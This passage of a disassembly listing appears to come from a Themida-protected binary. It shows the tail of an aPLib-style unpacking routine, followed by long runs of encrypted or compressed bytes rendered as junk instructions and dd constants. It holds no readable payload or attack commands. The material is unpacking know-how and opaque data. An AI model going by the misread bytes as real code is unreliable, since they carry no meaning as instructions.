loc_4E118D push edi sub edi, eax mov al, [edi] pop edi loc_4E118D: ; CODE XREF: sub_4E111B+6Aj mov [edi], al inc edi mov ebx, 2 jmp short loc_4E1132 ; --------------------------------------------------------------------------- loc_4E1197: ; CODE XREF: sub_4E111B:loc_4E1146j mov eax, 1 loc_4E119C: ; CODE XREF: sub_4E111B:loc_4E11B0j add dl, dl jnz short loc_4E11A5 mov dl, [esi] inc esi adc dl, dl loc_4E11A5: ; CODE XREF: sub_4E111B+83j adc eax, eax add dl, dl jnz short loc_4E11B0 mov dl, [esi] inc esi adc dl, dl loc_4E11B0: ; CODE XREF: sub_4E111B+8Ej jb short loc_4E119C sub eax, ebx mov ebx, 1 jnz short loc_4E11E3 mov ecx, 1 loc_4E11C0: ; CODE XREF: sub_4E111B:loc_4E11D4j add dl, dl jnz short loc_4E11C9 mov dl, [esi] inc esi adc dl, dl loc_4E11C9: ; CODE XREF: sub_4E111B+A7j adc ecx, ecx add dl, dl jnz short loc_4E11D4 mov dl, [esi] inc esi adc dl, dl loc_4E11D4: ; CODE XREF: sub_4E111B+B2j jb short loc_4E11C0 push esi mov esi, edi sub esi, ebp rep movsb pop esi jmp loc_4E1132 ; --------------------------------------------------------------------------- loc_4E11E3: ; CODE XREF: sub_4E111B+9Ej dec eax shl eax, 8 mov al, [esi] inc esi mov ebp, eax mov ecx, 1 loc_4E11F1: ; CODE XREF: sub_4E111B:loc_4E1205j add dl, dl jnz short loc_4E11FA mov dl, [esi] inc esi adc dl, dl loc_4E11FA: ; CODE XREF: sub_4E111B+D8j adc ecx, ecx add dl, dl jnz short loc_4E1205 mov dl, [esi] inc esi adc dl, dl loc_4E1205: ; CODE XREF: sub_4E111B+E3j jb short loc_4E11F1 cmp eax, 7D00h jnb short loc_4E1228 cmp eax, 500h jb short loc_4E1223 inc ecx push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_4E1132 ; --------------------------------------------------------------------------- loc_4E1223: ; CODE XREF: sub_4E111B+F8j cmp eax, 7Fh ja short loc_4E122B loc_4E1228: ; CODE XREF: sub_4E111B+F1j add ecx, 2 loc_4E122B: ; CODE XREF: sub_4E111B+10Bj push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_4E1132 ; --------------------------------------------------------------------------- loc_4E1238: ; CODE XREF: sub_4E111B:loc_4E1153j mov al, [esi] inc esi xor ecx, ecx shr al, 1 jz short loc_4E1259 adc ecx, 2 mov ebp, eax push esi mov esi, edi sub esi, eax rep movsb pop esi mov ebx, 1 jmp loc_4E1132 ; --------------------------------------------------------------------------- loc_4E1259: ; CODE XREF: sub_4E111B+125j sub edi, [esp+20h+arg_4] mov [esp+20h+var_4], edi popa retn 8 sub_4E111B endp ; --------------------------------------------------------------------------- loc_4E1265: ; CODE XREF: Themida_:loc_4E1076j ; Themida_:004E10B1j jmp loc_548BDF ; --------------------------------------------------------------------------- word_4E126A dw 38E9h ; DATA XREF: Themida_:004E108Bo ; --------------------------------------------------------------------------- sub al, 35h push esi add [edx+0FE178BCh], ebp dec dword ptr [edx-5E02DFFFh] add ebp, esi fadd qword ptr [ecx] push esp push 64696D65h popa retn 0D515h ; --------------------------------------------------------------------------- push ecx xchg eax, edx pop ss or [edi-1Ch], bl and al, 5Ch and [ebp+7Eh], ebx inc ebp db 36h retn 7E1Dh ; --------------------------------------------------------------------------- inc ebp cwde retn 0F535h ; --------------------------------------------------------------------------- dw 2279h dd 7E3DC21Dh, 0DFB89D97h, 0E10335E6h, 21F2BF1Ah, 0EBEB112Eh dd 0E80CCBD7h, 0E8034CCAh, 147BEFEh, 8B11ECFAh, 52F03A84h dd 741C7365h, 41CE7261h, 4F2E2F70h, 75239C78h, 8F73390h dd 0A3147179h, 42EFBF68h, 1CFEAF01h, 0D487C58Bh, 8008E860h dd 3BED815Dh, 60A1435h, 6059589h, 2679B504h, 2E298542h dd 95BD8300h, 74808334h, 0E8728B0Ch, 0A7B8E227h, 70BCC2A5h dd 0C4247144h, 110C13Eh, 0A3E8456Ah, 9A682981h, 0E9078374h dd 250A40DFh, 0A7A894Bh, 29E9D544h, 5FEC0214h ; --------------------------------------------------------------------------- inc eax push ebp mov ebp, esp sub dword ptr [ebx], 0FFFFFFC4h fsubr st, st(6) add [edx-7Fh], ebx jmp far ptr 0C7DAh:8B003629h ; --------------------------------------------------------------------------- db 24h dd 6C08D845h, 8963400Eh, 0F37D8108h, 741D1980h, 0FC08200Fh dd 0A929383h, 4312FF61h, 368DE1EBh, 0D02661DCh, 450C2C9h dd 0C41A8146h, 3902FF7Ch, 8D107249h, 8B058045h, 85C7085Dh dd 28501911h, 0D1020A8Dh, 411888C3h, 810BA289h, 5D0688BDh dd 27E3750Ah, 0A3BA8D50h, 8075B064h, 0BB0E128Ah, 0B85B40F4h dd 785437ABh, 30D0D33Fh, 754B080Fh, 14AFECF7h, 4A4647C3h dd 0F98A4691h, 61D18A42h, 1DD0E88Ah, 0EE627FF0h, 4D82FC45h dd 0AD8F04EBh, 3E804623h, 0BAF74014h, 9834DB84h, 64EB0C7Dh dd 33F83E7Fh, 0F012216Dh, 0A0F40E32h, 65C14A10h, 0D60450F0h dd 0E0D10EF8h, 2858C203h, 8A07DB33h, 0FB80301Ch, 0F0A7233h dd 577390Ah, 99BCEB4Fh, 0FD611422h, 660A9F0Dh, 0D71E08DBh dd 0AB0AC3D3h, 411A0C10h, 460A0B72h, 24067737h, 5D0186A8h dd 0F41CECF0h, 2C67D83h, 0CD0CB072h, 0D9A576C0h, 0F82690AAh dd 0DA8D8173h, 553BA880h, 822A0FFCh, 0B070BD78h, 9438AA6Fh dd 380838BAh, 0FC702AB9h, 37B8BD10h, 470FFE00h, 0B9FA7549h dd 6A772271h, 1101BB1Fh, 0EB82F147h, 8ED8026Dh, 39900386h dd 65510715h, 5DF43683h, 0F1268ACEh, 5944E93Eh, 118B101Bh dd 0B84B10Fh, 6EA0D8Ch, 0DF00DC0Bh, 2CB55256h, 0CCD98BC3h dd 8CACF14Ah, 34CB38h, 4E398267h, 30F765Bh, 3D51B810h dd 3BE3D104h, 4A0E46B3h, 0B82E0975h, 14EC4871h, 359065E4h dd 0C584037Dh, 0A3968E05h, 0C253CB23h, 29A0C204h, 8205718Ch dd 0A00EE76Dh, 2B86FFD9h, 22047781h, 0C1341D00h, 7533F984h dd 3FBCC820h, 330ABB3Bh, 990230EFh, 8CC4EC41h, 0FFCCCF7Fh dd 456740C8h, 6028E9F5h, 52C40062h, 11254D8Ch, 0B142AA82h dd 845AAB66h, 56531384h, 825E05CBh, 8150AEEEh, 7D6C22ECh dd 13B9518Ah, 94972302h, 186B7843h, 1704E957h, 0C4725F21h dd 25758A14h, 8453394h, 4721001Ah, 9B71C457h, 990D8F78h dd 24BC670Eh, 0ECDA8DD0h, 683D1D81h, 5E20031h, 0CA0B38B8h dd 1F861018h, 0EEC8FD45h, 0AE1366CEh, 0B40C1702h, 0F3EEA58h dd 1FBEDFAh, 38A52D0Dh, 49461104h, 0C42CFE1Dh, 60398C58h dd 7D8A11C4h, 48801E88h, 70CBC458h, 2C673F4h, 90DCA0C5h dd 1B608C8Fh, 12634686h, 0D08EA62h, 6D1A2435h, 88D9E946h dd 261BD224h, 3D2530E3h, 0EF3F1DA2h, 23C8809Bh, 0B48BD763h dd 0B8F029Ah, 0DCE8910Dh, 10892AA7h, 0C76F2FEFh, 0E95A750Ch dd 0B11B0Ch, 403E570Dh, 502DF372h, 0C052C0F3h, 0C31CFE70h dd 82435C0Eh, 50683CC2h, 3DCBF732h, 0C3803256h, 0CFAB509Bh dd 8BA48510h, 0C870C0ECh, 8C673207h, 8AF55FF9h, 0F2B80F4Fh dd 7A206C00h, 78B52C85h, 50F73CB0h, 0B83F1D07h, 0EEC783C3h dd 541514F0h, 0A9C0670Ah, 3217B55Dh, 0EA849600h, 0A71B905h dd 4B59BD88h, 7E2411FCh, 0D80B0D60h, 22803Fh, 0B16AFFB4h dd 55C3588Ah, 2332EA31h, 2AE5ABE4h, 7A1EE8h, 345906BDh dd 0FEAE212h, 0F48425C0h, 1D29D1Ah, 5371BED0h, 0FCA5E814h dd 8858EAC7h, 0C2D4801Ch, 75E2A7Eh, 239570D6h, 16601F62h dd 6D7C0276h, 0A900F77Bh, 377B5C7Fh, 134A56Fh, 7AA2A8C0h dd 0F8D56971h, 0A4EC4CD4h, 31648D00h, 0D232B680h, 0A67C00FEh dd 22AEC830h, 0C100558Fh, 1E464D6Eh, 42E9F4h, 0F8F9149Eh dd 7F76277Ch, 92AEDB00h, 7DA65499h, 483A03C3h, 18F3F18Ch dd 0F614911Dh, 751A31F1h, 0A90008BEh, 481CD126h, 0A707D443h dd 390A5CFBh, 7F80CE97h, 5FBDB2h, 1D5A6D80h, 5DA054BCh dd 5207800h, 0F3E5453Fh, 0FAC70EAFh, 0FB008188h, 0A6B99340h dd 0ED4F1D18h, 6EEE71h, 0D9E8B468h, 3CA398EFh, 9ED8463Ah dd 6FC0168Ah, 5F31A6C0h, 756D02B5h, 0F7DDC882h, 0E083F541h dd 9A008D02h, 277D01F6h, 0C07A8066h, 3EC1ACC1h, 0E403B662h dd 0FA6F6513h, 0FD81A718h, 46F80532h, 0F97600D1h, 0A711996Dh dd 67C1920h, 8FB631CFh, 211287D1h, 0B002E0C3h, 4BDE7Bh dd 0B45120B9h, 1455A00Dh, 330620DFh, 1D181501h, 33E722C4h dd 71884949h, 0EA7CC247h, 0C58EAC0Eh, 4CFB8A0Ch, 15711218h dd 88FE0032h, 0FC30649Eh, 4F0E447Eh, 6082F068h, 4F710E2h dd 3113606Eh, 3DA1FBA4h, 0D7B7C303h, 0D71CCF0Dh, 4093A08Eh dd 21718Eh, 2B14282Fh, 31C587E0h, 20D03A28h, 0B2C10200h dd 3FB5D651h, 904F1679h, 0BBEB039Bh, 703CF267h, 0D9A5B0DDh dd 0A85B3CD4h, 748BEA8h, 0CA12B01Dh, 887A30C8h, 0CB007C31h dd 0BDF7F04Fh, 0C017197Bh, 6D547738h, 68780D56h, 609840F5h dd 48404923h, 0E22221C5h, 19084F1Fh, 21160052h, 0C99C0D12h dd 0E73F7774h, 0EBA48162h, 1435435Dh, 330240BCh, 34298CE5h dd 4EEDC482h, 5E971301h, 0C305B194h, 9E599930h, 0DC00588Dh dd 7CE6D90Bh, 1874E10Fh, 31573C28h, 6F005580h, 0DBEFA7BDh dd 359532Eh, 5D757C2Bh, 0B1B01F9Ch, 4006F780h, 0B5BD79AFh dd 0A9A00C58h, 0C5A81C68h, 0B41F9328h, 0DC22E415h, 1D410870h dd 0B501384Eh, 50EF4D4Bh, 0F857CDB4h, 99601412h, 2AEE1339h dd 0A99F0AFDh, 112CED80h, 0E0330319h, 1F83F543h, 52A16DF0h dd 2B6441B2h, 40FD33C4h, 0E556A93Ch, 0DD0B3907h, 89E25E34h dd 8C008F8h, 5686C4E6h, 3C611D4Dh, 500ACD4h, 854BE061h dd 0D902E596h, 537FAF79h, 11D0A0C5h, 40C3D27Ch, 4D184629h dd 6D4064E8h, 8A703A9Dh, 271D5580h, 32375EC8h, 0A1FDDA00h dd 7CC01862h, 15641846h, 0B6D98808h, 84CC5789h, 11C961FEh dd 0ECC4128Ah, 790117CAh, 265ACFD7h, 96FD460Dh, 0D869F422h dd 688E208h, 19523C97h, 0CACFE807h, 7EF0D115h, 5321BEh dd 70906E58h, 527070Bh, 0D9DC6404h, 5C94657Bh, 0A5590C81h dd 3BC5F007h, 2373DFE5h, 705C8449h, 411B9090h, 0F73150F9h dd 6812B8h, 4BB67BA0h, 91C118D9h, 0F8D3E19Ch, 0B55C9440h dd 88CD49C8h, 0ED4C6C04h, 0D16F014Eh, 4883F95Dh, 0DA14E365h dd 242912B1h, 0A00DE4DCh, 48A4DC31h, 3A302147h, 9F7B0B2h dd 0B3775DBCh, 0E5DD8403h, 0D470981Ch, 1AC6B280h, 0DC0A72h dd 8125A57Dh, 7A90C10h, 0A2696504h, 14C05D2Dh, 0B7D3BFh dd 0A67D99D9h, 0FE963949h, 2005AE8h, 3F55545Dh, 0E55C8704h dd 0ACC1109Eh, 76500D0h, 0D9E3021Fh, 0B30063B0h, 0D381B7DBh dd 7E9188h, 4A970B5Eh, 0C7A4D52Eh, 0A59ECA0Eh, 80E3AB59h dd 0A296C28Bh, 2898EEB3h, 3F80B1F1h, 1281E6FEh, 7CC45565h dd 800FFDDAh, 340C27F8h, 0A8EA455Ch, 7CC6C48Ch, 4CF77C4Fh dd 0AD2C8E0h, 82E4893Ch, 0A114D796h, 0DE081844h, 2680CD7Bh dd 79E51840h, 0CA095605h, 3F2E3C9h, 0A089344Ch, 24C6F37Eh dd 42EC1C6Ah, 5620B8E3h, 904A1C5h, 5FD141AFh, 4B3F889h dd 841476F9h, 2B033439h, 0CE948Ch, 0C35E7C57h, 0BAA2455Fh dd 84AC3Eh, 4A65348Bh, 60DD4C5Bh, 2D75F044h, 6E1D06CFh dd 771F8109h, 14F80E14h, 10647F0Dh, 5C0ADFF5h, 8C90F731h dd 6181124Dh, 97D2FD02h, 0C144BDCDh, 31A68574h, 3AEB1110h dd 38178CDAh, 0C0A4E15h, 0CDFDF711h, 810474D1h, 5964418h dd 109C04C8h, 24B294A9h, 4806484Fh, 51176Fh, 4996EED6h dd 98A83D9Bh, 0D7C35600h, 6C83816h, 0A6D89B44h, 0E2210981h dd 1C980898h, 19CFD218h, 482DA860h, 6429CC34h, 0AA840EACh dd 572013ECh, 0A70509FAh, 5CB0A130h, 94E3C800h, 0A8D26FC6h dd 60AA14BCh, 54865104h dd 0B9E823h, 0B9EF6F0Ch, 0F4913EC6h, 18E1B80Ch, 9244E729h dd 5D2E656h, 0E33BC6F2h, 42100805h, 9D49AF84h, 9F09F8D0h dd 0CC6D12C6h, 0DD20446Bh, 617722CEh, 0E034B4FCh, 0D863187Fh dd 0EDF76144h, 21F52300h, 41582B57h, 0A1E56EBAh, 68109B69h dd 0D1204366h, 153C2A82h, 0C05AEA8Ch, 1D37BC21h, 0F13A70F5h dd 2FD68060h, 385C7B56h, 4D51C61Eh, 0E7003921h, 0F2026F9Fh dd 0F30FEC0h, 46D6A852h, 0F44BD901h, 0C43030C3h, 61513C30h dd 0FAD873FBh, 22B93AC6h, 8DA97180h, 62852A0Fh, 0B52C51FCh dd 9308E814h, 0E3570010h, 718D68B4h, 944F2D28h, 7B16E490h dd 5021F1C5h, 6F11DFDCh, 0F8A98020h, 9E58925Ah, 63113C14h dd 3B2AB800h, 0C6FB1EB4h, 80BA160Fh, 929AEB1Ah, 28665Ch dd 8574C782h, 6EE29C67h, 0CDF59E09h, 0F8248A5Ch, 94CBDA02h dd 0B8CD439Bh, 2DF0615h, 3AC6AB33h, 50C9457Dh, 6498FC05h dd 7808810Fh, 0DC0B1CDAh, 148D829Ch, 833CB89Bh, 0CB6F003Bh dd 549E9FEEh, 330501BBh, 1CFD43B6h, 0A57198D0h, 5C0CB019h dd 407A1806h, 3073325h, 0CCF74B37h, 86154441h, 7C71E6F9h dd 825557ECh, 0DB3118C0h, 0C04CA541h, 0C9070795h, 6FFB71A0h dd 7FC09E61h, 3A38702Ch, 75174C7Ch, 2C1D59DEh, 0E7692302h dd 0F5C90150h, 55B510A5h, 0D95E603Dh, 785CBB22h, 0F393800h dd 237F0C44h, 0BCB13Dh, 34469D97h, 0F01E1018h, 0C900DC68h dd 679C7C41h, 45290B50h, 0AC068F5Dh, 4890C144h, 54B1F520h dd 18ED6CE0h, 18C10DC8h, 0A8B9B72Dh, 5E917105h, 0B057ECC8h dd 140D2AC4h, 916F77A0h, 5F9F0894h, 6423FE93h, 72CC8030h dd 850D0135h, 98A1CF43h, 0FD5081BEh, 2A597E66h, 131C8824h dd 49EC8CAAh, 0F4042E40h, 0C0B450C2h, 77975D58h, 15EE042h dd 6CE79C8h, 0F8C693A4h, 0F00186B3h, 68E53071h, 0A88B1355h dd 54028ADFh, 9802B835h, 0A5BC848Fh, 0ECF8B240h, 0AF48CCE4h dd 0A05430AAh, 6A33DA1Ch, 14ED901Fh, 0AF00703Dh, 501BD0EEh dd 0A990283Eh, 235EB005h, 0A89096E2h, 54D17757h, 0E6A8F9h dd 0E0C3DD9h, 665EC616h, 24517B7Fh, 71A88CBCh, 982328CAh dd 42F92068h, 0C6901E1Fh, 486C3489h, 48AD4B48h, 4D151CF6h dd 761D9C1Eh, 0FBD50098h, 3C5A4731h, 2EE20101h, 14BB8697h dd 15887C8h, 0B6660953h, 561168EDh, 0FC6C4084h, 413D78B0h dd 8044284Eh, 1A71A926h, 0AF431C5Dh, 2810839Ah, 201447A5h dd 4A90DB0Fh, 98A00849h, 5CFD4B94h, 5585F446h, 0FEC40911h dd 0D277C890h, 2E3D3E05h, 0B4065F0Fh, 1A315318h, 0A0ACB9D1h dd 7661BC60h, 0E8625781h, 59044068h, 225016E2h, 991056F8h dd 0E804C6D9h, 134DB87Bh, 0AAE11002h, 0CC7404E5h, 7D006190h dd 7952F5E9h, 1F7F037h, 0BB433A9Ah, 57B1246Bh, 5799E1DCh dd 876C01F9h, 0F8A068BFh, 2034A325h, 37BBDA10h, 5BE40094h dd 7210B2E6h, 0E0042E5Ah, 15F43312h, 714B3081h, 80BEAFD1h dd 0C30961Eh, 0B5102758h, 0F06E6014h, 8233074h, 3A209ED4h dd 642EF112h, 1E608108h, 9C149978h, 0F1556289h, 276458B8h dd 7E200015h, 0A268E3B6h, 0ACB40558h, 0AC778C4Eh, 8012682Ch dd 8892A09Ah, 8A79E29h, 0B8DB3C0Ah, 0E244ACA1h, 67120C8h dd 0FA99EDBh, 294CE8AFh, 791C3019h, 1A2F5561h, 210BA997h dd 65982440h, 1457A888h, 181D016Fh, 5BA9490Ah, 99969F8Ch dd 541471BAh, 939461E4h, 0D7051B64h, 8A26C13h, 6822884h dd 48F14D71h, 0C9BB34h, 0E62CC3E0h, 0F27010A2h, 0B5DD560Eh dd 12C04064h, 0C5AEF6D3h, 29931B8h, 2FFE174Ch, 4E0F0468h dd 505DA731h, 7C82E801h, 0A831DAD1h, 0E38BAF60h, 2F931A01h dd 5ECE6839h, 4DF170h, 8834D706h, 22F95F52h, 3ECFE000h dd 25DF7C3h, 0A0460099h, 9895589Bh, 2601A121h, 7E916F6Ch dd 80F302F3h, 30869062h, 0FE4065E6h, 0C241B7D1h, 4798C0h dd 95579E6Dh, 238F163Eh, 7A2833Ah, 0B6E949Bh, 0F7B08717h dd 7F86011h, 43D1EB5Ch, 0F6246136h, 577001E7h, 8DC844D2h dd 0F8EA5704h, 0E6CB6980h, 909D9395h, 0F13300D8h, 6A837B8Ch dd 9B00DBD6h, 8A155C69h, 3AC86B5h, 57248265h, 0C2C0B4D0h dd 0E71F0231h, 0E40A195h, 9B633584h, 979C0123h, 0A06B458Fh dd 0F47EC05Fh, 0F60CD900h, 7DE31A4Fh, 0F8FA30B3h, 0A65FE540h dd 976C40h, 6E909662h, 0A7478F6Fh, 0B549D00h, 0AC8382CBh dd 0EC40331h, 0C1447DE7h, 0D30C3088h, 0A2925F05h, 0F8C0850Ah dd 98789095h, 94B74838h, 5FE8BAh, 9443D9F6h, 985E5C6Bh dd 23A86200h, 448F666Eh, 0B9F0083h, 0FDB5865Bh, 53002B52h dd 7972E00Ah, 742C338h, 0A85EE202h, 0E387D0B0h, 25008D21h dd 32DCE183h, 4E9F79h, 0DF18B608h, 1E4939C1h, 0FD73ED0Ch dd 10C84086h, 835DE7h, 0A21CE389h, 3E26423h, 0A39F5ED2h dd 0B998F459h, 6500AEFDh, 62ED19EEh, 0C434B8h, 31E77494h dd 8B5AB16Dh, 647900F5h, 8C66E5ACh, 0CEE1F0ABh, 98D10068h dd 58A2A044h, 0EF003370h, 0AC387696h, 7C9A908Fh, 741500A1h dd 6013FC91h, 0A2002285h, 0F835B7CEh, 0E6DDD15Eh, 4BA40067h dd 0A6F33A87h, 8E00783Eh, 6A425FCAh, 0A35955h, 2FF9832Dh dd 0CFDF4749h, 0C1002698h, 46E70494h, 7E626982h, 92630080h dd 8F6B3991h, 0A0009B2Ah, 33A40A5Eh, 2E52F2h, 0C5FD1DEEh dd 9505C2B3h, 80E09F39h, 844CB16Ch, 3CD4163Fh, 8C856E2Ah dd 829C4230h, 5C2181ACh, 73E42451h, 0A30899FFh, 0F47F04h dd 820C192Ah, 0B90A20C0h, 0E8148601h, 0A6648873h, 0F3B0344Ah dd 7000BC7Ch, 587E016h, 0E8681E2h, 0F804FB44h, 4DC31C15h dd 1000B91Fh, 6EBB8B9Eh, 37F8436h, 76E081D5h, 16A9700Dh dd 3F287821h, 0B88C435h, 0B549315Dh, 7113A4C0h, 26D4C11Ah dd 40185438h, 3ADAC9A0h, 0B5632202h, 0B10D2F60h, 2D02C71Ch dd 4B80805Ch, 0DD30A0A9h, 911200EAh, 25CEDC5Ah, 0E706C56Bh dd 16E19BDFh, 0D4770188h, 0F7594365h, 0CECAE050h, 6FF3FE16h dd 0FC6CF8B1h, 0C070C50Ch, 640CB591h, 11174D06h, 710C0BF3h dd 9C619CDCh, 0A109AD94h, 711553C0h, 804158F1h, 221017A5h dd 0C4B6F8E1h, 80A1A903h, 33D00143h, 3BDEB67Fh, 4507D261h dd 0D0262F03h, 1D171102h, 1810F2E6h, 827214Fh, 28B73000h dd 9B4483D2h, 94CA003Fh, 9EA89C97h, 0F04EF7E1h, 0A63BD880h dd 0E36E3061h, 64A94978h, 0FECC6341h, 0A8A0ABC3h, 3FD47Dh dd 0BD70558Ah, 0A7D5DDFCh, 0BA593200h, 92D79A5Fh, 4A305EF0h dd 4058DA90h, 0DE2A2F5Ch, 9110E221h, 423004Ah, 4E41BC30h dd 496F00F1h, 2558D27h, 0B81DA579h, 9944A177h, 78F80B0Dh dd 9FD08730h, 6301F04Fh, 883C5405h, 9EC806DFh, 0B5C63CF6h dd 1704D0CAh, 0EF009722h, 0F92E28Ch, 0EC61E10h, 4712609Ch dd 4E017889h, 902F8B93h, 8080B368h, 602CA94h, 0D60C771Eh dd 0D312EBC3h, 0F8ECACCFh, 41D8A90Bh, 0CBA0A8C0h, 3D716D09h dd 0DA1400CFh, 0BE60BB33h, 29183EA4h, 0C1435918h, 0D4D4069Fh dd 13D73989h, 0B628C4D2h, 5CA80389h, 0B240C06Dh, 0D14158D1h dd 0B1218026h, 6742A828h, 9C8A00E7h, 755BB068h, 3E00C65Ah dd 7EBBF27Bh, 33C96DB8h, 0DE90C37Dh, 18A1E1h, 5468E3h dd 313D66Bh, 61CD179h, 4A1B10Ch, 1ADAD0B6h, 0E8B950E1h dd 0D0F1547Ah, 0B244FD63h, 0D6DD1716h, 370CD30Ch, 88D0094Ah dd 73D6D4F6h, 3C26FAAFh dd 3B15CDA6h, 9501CC59h, 5C332B9Fh, 0A180CFC3h, 6325EF31h dd 739CE617h, 70ECA322h, 25DC1C08h, 486D000Dh, 0AD494F41h dd 9CB04B60h, 80BA1A31h, 0D7126554h, 0DC04E2F8h, 6601C199h dd 0C4D71C5h, 0F7F8C01h, 89CE711h, 5680EA88h, 0C8A97118h dd 6F830C77h, 2550630Ch, 34C99E88h, 0F8800A57h, 0D599C2D4h dd 0BBA054C7h, 0F653867Ch, 30C4F2ACh, 0F4F0E97h, 0F939B480h dd 15ECA850h, 0FE70C6B6h, 11E31CAh, 3A415945h, 0FD687FEAh dd 7105A5E8h, 697B0236h, 526D4932h, 0E15CA069h, 10C1A8B5h dd 804C1749h, 6D59A82Dh, 22414328h, 5DAE001Bh, 0FBA6C2A8h dd 0A9194AABh, 0CB58603Ch, 0E01DDC2Dh, 0A794C0D5h, 5C343890h dd 221A4F22h, 3502164Ch, 0B58A36C9h, 0F77C402Bh, 92C5300Eh dd 0E02EE429h, 63E53327h, 7C3FD090h, 0C118056Bh, 82EE76E7h dd 0E9863040h, 31008019h, 56CFD0E6h, 25E3B7A3h, 5C66CAC6h dd 43253498h, 4CECE0C9h, 0AB69C418h, 22A9C01Ch, 2497C8E5h dd 0DB2015A8h, 9200AA47h, 0D10401DAh, 1FABA179h, 95DF643Dh dd 771E9078h, 9B61DE2h, 80A3DDB3h, 0ACE05418h, 14151E0Fh dd 90679Bh, 0CB5F69E5h, 0EF3AB51Dh, 90336C64h, 0ED4D30E0h dd 0B2AF64A0h, 958574Ch, 581B378Fh, 0F35D3044h, 0C63E4620h dd 12C4F401h, 28E4E996h, 0EA023026h, 0D84F09D6h, 0F310C031h dd 0FA24D6E1h, 1500CEEFh, 3031DE4Ch, 0FD9CFAE0h, 29BC56F2h dd 67DCD35Ch, 0A4BB1A70h, 8CAD0B2Eh, 0E00F5BA7h, 14044AE8h dd 3888335Ch, 55693E77h, 7030C64Ah, 0C3026146h, 804F0AD6h dd 0F410C231h, 0DE56D6DAh, 17583CF4h, 3C40054Bh, 0C9BB26CCh dd 7464485Dh, 7500F922h, 0EA0376EDh, 25DF51BCh, 0ECC83B02h dd 150333D1h, 7A97D2F6h, 9940D007h, 0E6C1FD1Ah, 2545430h dd 596AB447h, 0F06094DCh, 0B7E61674h, 7D696D0Ch, 146CD0B0h dd 0D8E65524h, 8C18B450h, 5AA82E04h, 2762306Dh, 0C326AF22h dd 0B78C9800h, 6CCA07D6h, 0D5714C30h, 0E874C4E4h, 189280ACh dd 0C91C0Eh, 80454AD7h, 6BFBEA76h, 0E23C8752h, 0E3A33021h dd 0D9AC2216h, 50085C16h, 2F5BC0E1h, 0EA21DE31h, 3529110h dd 0F300322h, 0F16412AAh, 3EDCE45Eh, 0DA84E704h, 0CB8BF1Bh dd 5D7D4909h, 49CF0C1Bh, 18164C91h, 0CA8582Ch, 704C6026h dd 0A80064A5h, 0B849AF5Dh, 40E0A94Fh, 9EEA3141h, 0AB70049Fh dd 4CA216h, 0DFD124CDh, 4B68BF30h, 10ACC145h, 7290326Fh dd 45F0702h, 7E1575A3h, 0FF1638CCh, 0CBEC40C5h, 0D6E6EFCEh dd 0DCDFE701h, 0C77D68E4h, 751C442Fh, 6034A1F4h, 0E307EB68h dd 5A49032Bh, 0E8B8AC84h, 8012807Dh, 465C0494h, 4C13E53h dd 66142B19h, 305DA082h, 0E11D6E7h, 1A84E04Fh, 0DEF803E5h dd 80C3EBD6h, 176FE1AEh, 4E8C6E7h, 5BAD47Ch, 9820FE34h dd 2C4ACDE5h, 4BC533Bh, 0A4211B01h, 64428C98h, 0B011D23h dd 0E89CC371h, 0F4403B19h, 5371145Ah, 50CF19D2h, 180840E3h dd 0E671080Eh, 0EFC6109Ch, 712AC071h, 0F0F2A9F6h, 0AE1605E0h dd 0D804DD88h, 0B501BED7h, 0BE55BC9Ah, 0D09208D0h, 3AB6172Ch dd 162023CCh, 0FF70001Ah, 0E1DB31B4h, 0A429532Eh, 482E37C0h dd 0BAA8266Ch, 25151DA8h, 6088282Fh, 0D5386300h, 0B411876h dd 0DB22C47Fh, 0B560D851h, 24A14961h, 80685FACh, 0A028FB30h dd 0E0BABDE1h, 145C349Ah, 9F7850A4h, 4C84133Ch, 0DA4C7A54h dd 0DE2B005Ch, 2F3910B2h, 0A1310CBEh, 3741ADE1h, 0B8204E00h dd 0DFA3F7CCh, 90D46486h, 0D55640B0h, 0C1385C2Ch, 0A3C5B611h dd 0F258227Eh, 72403050h, 2AF6A9ECh, 12A60203h, 16B403D3h dd 18A14F88h, 0D9A0E8F8h, 0E17C8C33h, 0C95F9047h, 55880E24h dd 1A4A714Bh, 0AF6C9EA4h, 0ECE3A442h, 522BC981h, 0B0466C08h dd 5516DB46h, 3ABC092Fh, 104D64B1h, 3E301D24h, 0AB0F916Dh dd 6E42385Dh, 147069D1h, 0D6E80651h, 0E183CCAFh, 0B005271Fh dd 8569780Bh, 77D0490h, 0F1260F1Ah, 0F2366FC6h, 803097CCh dd 1F12B094h, 5032DFEh, 0B8397178h, 305C16D4h, 0F87738E4h dd 0E11B62E5h, 1CE9E124h, 0A849F06Dh, 67875096h, 4DC35394h dd 3779001Bh, 36544EAFh, 0E371875Eh, 4F88E500h, 6E081DC0h dd 0B1A52799h, 28F3D46Eh, 1EF2080h, 912636EEh, 0C4E5772Ch dd 760110A2h, 120F94B7h, 5FF8833h, 8CA9A728h, 0E1E8414Dh dd 74EB65D9h, 0E8C262Ch, 4F0FD6E8h, 0E5198491h, 0D6DFF100h dd 0EF00877Ch, 0A94AAA95h, 556E0D3Ah, 0EAD988F8h, 1F6A06DCh dd 8FF5C19Bh, 0DBE378A2h, 0E886102Eh, 423D5B01h, 0FD33DF09h dd 40582C28h, 0E0B34079h, 0AE658800h, 26FEE641h, 5D4A0903h dd 8205C3Ch, 52B027EBh, 2EE86B79h, 54E7DA00h, 46CBCFD1h dd 6310058h, 78F325DBh, 0E12D22F0h, 0B7E46016h, 496027A1h dd 0E2570CC1h, 0A4E27F04h, 0C4304EE2h, 56C6003Ah, 41495401h dd 58C140F5h, 1ACCA99Ch, 262AE824h, 44C85594h, 710D6007h dd 189C23DDh, 64EC08h, 2711654h, 0E901BCBBh, 32689F67h dd 5ADAAD49h, 18332220h, 703BFC1Dh, 0D4466828h, 2C301E02h dd 14E7F2DEh, 30062500h, 50C63D8Ah, 0B225079h, 4A70D634h dd 195F2C26h, 0D720A490h, 10565C26h, 31028C71h, 886D55A8h dd 0AA001640h, 4ED6A861h, 1250E352h, 20E42220h, 3CA1C9C0h dd 48242094h, 4981802Eh, 81E53555h, 9A383DF8h, 4BDF1624h dd 2BF0F0C1h, 80A666F0h, 715918FDh, 5ADE292Fh, 128C0E8h dd 7E010530h, 3F274507h, 2F47657h, 67883E20h, 0F31090DCh dd 21182019h, 29F112FBh, 69483D18h, 85303853h, 8261575Ch dd 1D77C8C1h, 4BB42000h, 893A723Ch, 22A5EDC9h, 50C5438Ch dd 2AC43CA8h, 0F0B93309h, 0C1C30C84h, 0AFE143A0h, 0E04411h dd 